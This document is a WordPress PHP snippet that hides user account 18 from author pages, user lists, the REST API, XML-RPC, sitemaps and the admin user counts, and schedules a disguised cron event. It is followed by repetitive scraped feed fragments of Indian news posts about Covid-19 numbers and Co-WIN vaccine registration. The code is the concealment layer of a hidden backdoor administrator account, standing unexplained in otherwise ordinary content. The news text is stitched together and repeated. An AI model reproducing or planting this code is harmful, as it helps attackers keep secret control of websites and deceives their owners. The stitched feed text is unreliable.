add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post India Records 1,233 New Covid-19, Count Reportedly Rose In Last 24 Hours appeared first on The Edge Media.
]]>According to the ministry, the recovery rate is now at 98.75 percent, with a daily positive rate of 0.22 percent. And per the Co-WIN monitor, over 183.73 crore vaccination doses have been provided throughout the country thus far.
The post India Records 1,233 New Covid-19, Count Reportedly Rose In Last 24 Hours appeared first on The Edge Media.
]]>The post On Wednesday 80 lakh people registered on Co-WIN appeared first on The Edge Media.
]]>Registration on the Co-WIN digital platform for vaccination began on Wednesday. According to the information received, on the first day, on Wednesday, about 80 lakh people got registered.
On behalf of the government said that on the first day, the Co-WIN app worked without any problems and on the opening day, a large number of eligible people registered a large number of names.
The third phase of corona vaccination will start from May 1, under which people over 18 years of age will be vaccinated. Registration on the Co-WIN digital platform for vaccination began on Wednesday.
According to the information received, on the first day, on Wednesday, about 80 lakh people got registered. On behalf of the government said that on the first day, the Co-WIN app worked without any problems and on the opening day, a large number of eligible people registered a large number of names. In the first three hours (till 7 pm), the app got 383 million hits.
As soon as registration started on social media, there were reports of a system crash on the covin app.
Registration on the Co-WIN digital platform for vaccination began on Wednesday. According to the information received, on the first day, on Wednesday, about 80 lakh people got registered.
On behalf of the government said that on the first day, the Co-WIN app worked without any problem. However, after the registration started at 4 pm on Wednesday, people had to face trouble.
On behalf of the Central Government’s Corona Contact Tracing App Aarogya Setu, the tweet said, ‘Cowin portal is working. There was a slight malfunction in the evening which has been fixed. People over 18 years of age can register on it.
Meanwhile, sources associated with the government have said about the ‘Cowin’ platform that we are getting about 27 lakh hits every minute. People from 18 years to 44 years were to be given appointments for vaccination at private and state government vaccination centers.
For Vaccine Nationwide Phase III, the government has allowed all citizens over the age of 18 to be vaccinated from May 1, before that, only health care workers, frontline workers and people over 45 years of age are vaccinated.
The minimum age for vaccination is shown at each vaccination center. Appointment slots are available at the vaccination center in front of which 18+ is written.
The post On Wednesday 80 lakh people registered on Co-WIN appeared first on The Edge Media.
]]>